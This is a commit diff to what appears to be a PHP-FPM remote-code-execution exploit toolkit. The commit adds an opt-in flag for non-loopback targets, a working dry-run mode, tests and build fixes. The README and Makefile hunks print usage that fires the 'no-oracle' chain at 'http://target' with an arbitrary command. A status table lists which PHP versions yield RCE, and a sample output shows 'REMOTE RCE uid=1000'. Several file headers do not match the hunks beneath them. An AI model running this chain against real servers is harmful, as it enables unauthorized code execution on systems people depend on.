Gate remote FPM use, honor --dry-run and tidy the tooling

- require --allow-remote for a non-loopback --base/--builder
- make the dispatcher's FPM route honor --dry-run
- move verification.json out of profiles/ and update its consumers
- remove the phantom 7.2 FPM profile row
- restore make lint for gitleaks, add make ruff, drop the release workflow
- fall back to sysctl for JOBS and document the Linux /proc requirement

Author: devploit

.github/workflows/ci.yml

@@ -55,8 +55,7 @@ jobs:
 
           schema = json.loads(Path("profiles/schema.json").read_text())
           for path in sorted(Path("profiles").glob("*.json")):
-              if path.name in ("schema.json", "fpm-schema.json",
-                               "verification.json"):
+              if path.name in ("schema.json", "fpm-schema.json"):
                   continue
               jsonschema.validate(json.loads(path.read_text()), schema)
               print(f"{path}: valid")

.github/workflows/release.yml

@@ -1,4 +1,4 @@
-.PHONY: help test lint secrets ci bootstrap inventory validate-profiles validate-fpm \
+.PHONY: help test lint ruff secrets ci bootstrap inventory validate-profiles validate-fpm \
         build-nginx build-php build-all profile-draft calibrate-remote remote \
         probe-remote remote-default matrix \
         labs-up labs-down labs-status labs-test \
@@ -13,13 +13,15 @@ help:                          ## Show this help
 test:                          ## Run the unit test suite
 	PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v
 
-lint:                          ## Run ruff on the Python tools and tests
+lint:                          ## Run gitleaks to detect leaked secrets
+	gitleaks detect --source . --no-git --redact -v
+
+ruff:                          ## Run ruff on the Python tools and tests
 	ruff check tools tests
 
-secrets:                       ## Run gitleaks to detect leaked secrets
-	gitleaks detect --source . --no-git --redact -v
+secrets: lint                  ## Backwards-compatible alias for lint
 
-ci: lint test validate-profiles validate-fpm  ## Run the fast CI checks locally
+ci: ruff test validate-profiles validate-fpm  ## Run the fast CI checks locally
 
 bootstrap:                     ## Fetch and pin the upstream exploit
 	python3 tools/bootstrap_upstream.py
@@ -33,8 +35,7 @@ validate-profiles:             ## Validate every build profile against the gener
 	  from pathlib import Path; \
 	  [jsonschema.validate(json.loads(p.read_text()), schema) or print(f'  ok  {p.name}') \
 	   for p in sorted(Path('profiles').glob('*.json')) \
-	   if p.name not in ('schema.json', 'fpm-schema.json', \
-	                      'verification.json')]"
+	   if p.name not in ('schema.json', 'fpm-schema.json')]"
 
 validate-fpm:                  ## Validate the PHP-FPM profiles against the FPM schema
 	python3 -c "import glob, json, jsonschema; \
@@ -68,27 +69,27 @@ calibrate-remote:              ## Discover a profile over HTTP only (VERSION=...
 	@test -n "$(VERSION)" || \
 	  (echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
 	python3 tools/php2shell_fpm.py --version "$(VERSION)" \
-	  --base "$(BASE)" --builder "$(BUILDER)" calibrate
+	  --base "$(BASE)" --builder "$(BUILDER)" --allow-remote calibrate
 
 remote:                        ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...)
 	@test -n "$(VERSION)" || \
 	  (echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
 	python3 tools/php2shell_fpm.py --version "$(VERSION)" \
-	  --base "$(BASE)" --builder "$(BUILDER)" \
+	  --base "$(BASE)" --builder "$(BUILDER)" --allow-remote \
 	  --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
 	  no-oracle
 
 probe-remote:                  ## Checklist of every chain precondition (VERSION=... BASE=...)
 	@test -n "$(VERSION)" -a -n "$(BASE)" || \
 	  (echo "usage: make probe-remote VERSION=8.4.26 BASE=http://target"; exit 2)
 	python3 tools/php2shell_fpm.py --version "$(VERSION)" \
-	  --base "$(BASE)" probe
+	  --base "$(BASE)" --allow-remote probe
 
 remote-default:                ## 100%-remote chain against a stock install (VERSION=... BASE=...)
 	@test -n "$(VERSION)" -a -n "$(BASE)" || \
 	  (echo "usage: make remote-default VERSION=8.4.26 BASE=http://target"; exit 2)
 	python3 tools/php2shell_fpm.py --version "$(VERSION)" \
-	  --base "$(BASE)" \
+	  --base "$(BASE)" --allow-remote \
 	  --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
 	  no-oracle
 

Makefile

@@ -44,7 +44,7 @@ not match the profile.
 | PHP 8.1.33 FPM amd64 | php-8.1.33 source tarball (nginx+FPM) | `php-8.1.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; the stale struct is reclaimed from 7.4 on |
 | PHP 8.0.30 FPM amd64 | php-8.0.30 source tarball (nginx+FPM) | `php-8.0.30-fpm` | http (stale string) | http (stale string) | **yes** | same chain |
 | PHP 7.4.33 FPM amd64 | php-7.4.33 source tarball (nginx+FPM) | `php-7.4.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; `poison` also works |
-| PHP 7.2.34 FPM amd64 | php-7.2.34 source tarball (nginx+FPM) | `php-7.2.34-fpm` | no | no | no | arms the stale state; reclaim shape not found - `poison` plant |
+| PHP 7.2.34 FPM amd64 | php-7.2.34 source tarball (nginx+FPM) | — (plant only) | no | no | no | arms the stale state; reclaim shape not found; `poison` plant, no RCE profile |
 | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
 | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
 | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -109,7 +109,7 @@ default retries because its stage 3 is probabilistic.
   the leak and reclaim geometry of any 7.4+ build over HTTP only;
   `poison` (the `session.upload_progress` session-file plant) covers 5.x and
   7.2; `php2shell_fpm_matrix.py` verifies the whole unpatched set in one run
-  and records the verdicts in `profiles/verification.json`. The `no-oracle`
+  and records the verdicts in `docs/calibration-logs/verification.json`. The `no-oracle`
   endgame is fully remote — no `/proc/<pid>/mem`, no local shell.
 - **PHP version registry** — `tools/php2shell_fpm_versions.py` is the single
   source of truth for the affected-version matrix: `is_vulnerable()`,
@@ -123,8 +123,10 @@ default retries because its stage 3 is probabilistic.
 
 ## Quick start
 
-Requirements: Python 3.11+, Docker (for the labs), Linux or macOS on arm64 or
-amd64. Fetch the pinned upstream:
+Requirements: Python 3.11+, Docker (for the Apache labs), Linux or macOS on
+arm64 or amd64. The Apache chain works on both; the PHP-FPM `endgame`/oracle
+needs Linux `/proc` (the `no-oracle` path does not), and the FPM build scripts
+fall back to `sysctl` when `nproc` is unavailable. Fetch the pinned upstream:
 
 ```sh
 python3 tools/bootstrap_upstream.py
@@ -211,10 +213,10 @@ python3 tools/php2shell_fpm.py \
 # memory_limit=128M, pm=dynamic x5 workers, stock php.ini (nginx needs
 # client_max_body_size >= 5m for the arm body)
 python3 tools/php2shell_fpm.py \
-  --base http://target --version 8.4.26 \
+  --base http://target --allow-remote --version 8.4.26 \
   --command 'id>out/p1' --proof-file out/p1 no-oracle
 # checklist: does this target meet every precondition of the chain?
-python3 tools/php2shell_fpm.py --base http://target --version 8.4.26 probe
+python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe
 # print only the leaked bases
 python3 tools/php2shell_fpm.py \
   --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak

README.md

@@ -332,12 +332,12 @@ python3 tools/php2shell_fpm.py \
 
 # stock installation: one URL, one pool, amplifier arm, worker fan-out
 python3 tools/php2shell_fpm.py \
-  --base http://target --version 8.4.26 \
+  --base http://target --allow-remote --version 8.4.26 \
   --command 'id>out/p1' --proof-file out/p1 \
   no-oracle
 
 # checklist of every precondition (version, app operations, arm physics)
-python3 tools/php2shell_fpm.py --base http://target --version 8.4.26 probe
+python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe
 ```
 
 (Global options come before the subcommand. `--workers N` - default 5 - fans
@@ -436,7 +436,7 @@ version (patched releases are skipped by design):
 8.4.26    REMOTE RCE         uid=1000(...) ...
 ```
 
-Every run records its verdict in `profiles/verification.json` (merged, so a
+Every run records its verdict in `docs/calibration-logs/verification.json` (merged, so a
 later partial run does not erase earlier evidence); the README status table is
 updated from that file.
 
@@ -445,7 +445,9 @@ updated from that file.
 - **Oracle lab mode.** `endgame` still uses the `/proc/<pid>/mem` oracle to
   resolve `d`. `no-oracle` drops that read at exploit time and leaks the
   chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are
-  overrides/fallbacks. The shipped chain still targets the loopback lab.
+  overrides/fallbacks. The dispatcher stays loopback-only for FPM; the
+  standalone client refuses a non-loopback `--base` unless `--allow-remote`
+  is passed explicitly.
 - **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are
   PIE-relative offsets for the exact FPM build; another distro or version
   needs its own profile (`sapi: "fpm"`, see `profiles/fpm-schema.json`).

profiles/verification.json docs/calibration-logs/verification.jsonprofiles/verification.json renamed to docs/calibration-logs/verification.json

@@ -10,7 +10,7 @@ HERE="$(cd "$(dirname "$0")" && pwd)"
 RUNTIME="$HERE/runtime"
 SRC="$RUNTIME/src"
 PREFIX="$RUNTIME/nginx"
-JOBS="${JOBS:-$(nproc)}"
+JOBS="${JOBS:-$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)}"
 
 mkdir -p "$SRC"
 

docs/fpm-chain.md

@@ -14,7 +14,7 @@ HERE="$(cd "$(dirname "$0")" && pwd)"
 RUNTIME="$HERE/runtime"
 SRC="$RUNTIME/src"
 PREFIX="$RUNTIME/php-$VER"
-JOBS="${JOBS:-$(nproc)}"
+JOBS="${JOBS:-$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)}"
 
 mkdir -p "$SRC"
 

lab/fpm/build_nginx.sh

@@ -147,8 +147,6 @@ class InventoryTests(unittest.TestCase):
     def test_profiles_are_valid(self):
         names = set()
         for path in sorted((ROOT / "profiles").glob("*.json")):
-            if path.name == "verification.json":
-                continue  # verdict records written by the matrix run
             if path.name in ("schema.json", "fpm-schema.json"):
                 continue
             data = json.loads(path.read_text())

lab/fpm/build_php.sh

@@ -107,6 +107,43 @@ def test_local_fallback_requires_explicit_opt_in(self):
             local.assert_called_once_with("8.4.26")
 
 
+class DispatcherDryRunTests(unittest.TestCase):
+    """--dry-run must not start the FPM chain."""
+
+    def test_dry_run_does_not_call_endgame(self):
+        import php2shell_auto as auto
+
+        args = SimpleNamespace(
+            target="http://127.0.0.1:8110/index.php", builder=None,
+            command="id>/out/p1", proof_file=None, dry_run=True,
+            allow_remote=False)
+        ui = SimpleNamespace(
+            stage=lambda *a, **k: None, info=lambda *a, **k: None,
+            command=lambda *a, **k: None, crit=lambda *a, **k: None,
+            result=lambda *a, **k: None)
+        with mock.patch.object(fpm, "cmd_endgame") as endgame:
+            self.assertEqual(auto.run_fpm_chain(ui, args, "8.4.26"), 0)
+            endgame.assert_not_called()
+
+
+class RemoteAuthorizationTests(unittest.TestCase):
+    """Remote targets are opt-in, matching the Apache dispatcher."""
+
+    def test_loopback_is_allowed(self):
+        self.assertTrue(fpm.remote_targets_allowed(
+            "http://127.0.0.1:8110", "http://localhost:8111", False))
+
+    def test_remote_is_refused_by_default(self):
+        self.assertFalse(fpm.remote_targets_allowed(
+            "http://192.0.2.10", None, False))
+        self.assertFalse(fpm.remote_targets_allowed(
+            "http://127.0.0.1:8110", "http://192.0.2.11", False))
+
+    def test_explicit_opt_in_is_honoured(self):
+        self.assertTrue(fpm.remote_targets_allowed(
+            "http://192.0.2.10", None, True))
+
+
 class EndgamePayloadTests(unittest.TestCase):
     """The forged buffer must encode the exact dtor-chain layout the
     8.4.26 source expects (var_unserializer.re, session.c, zend_hash.c)."""